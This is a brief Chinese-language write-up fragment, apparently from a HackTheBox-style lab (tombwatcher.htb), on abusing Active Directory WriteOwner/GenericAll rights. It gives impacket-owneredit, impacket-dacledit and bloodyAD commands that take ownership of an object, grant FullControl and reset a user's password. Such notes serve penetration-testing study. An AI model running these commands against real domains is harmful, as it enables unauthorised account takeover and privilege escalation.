这种滥用行为可以在攻击者控制一个对任何对象拥有 WriteOwner
或 GenericAll
权限的对象时执行。
如:
对于上面 WriteOwner
权限时,可以先提升到 GenericAll
权限,然后修改密码即可
#先更改对象的所有权
impacket-owneredit -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'
#授予自己 GenericAll 权限
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'
#后续后修改目标的密码
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'sam' -p 'Admin123!' set password john Admin123!
修改后的DACL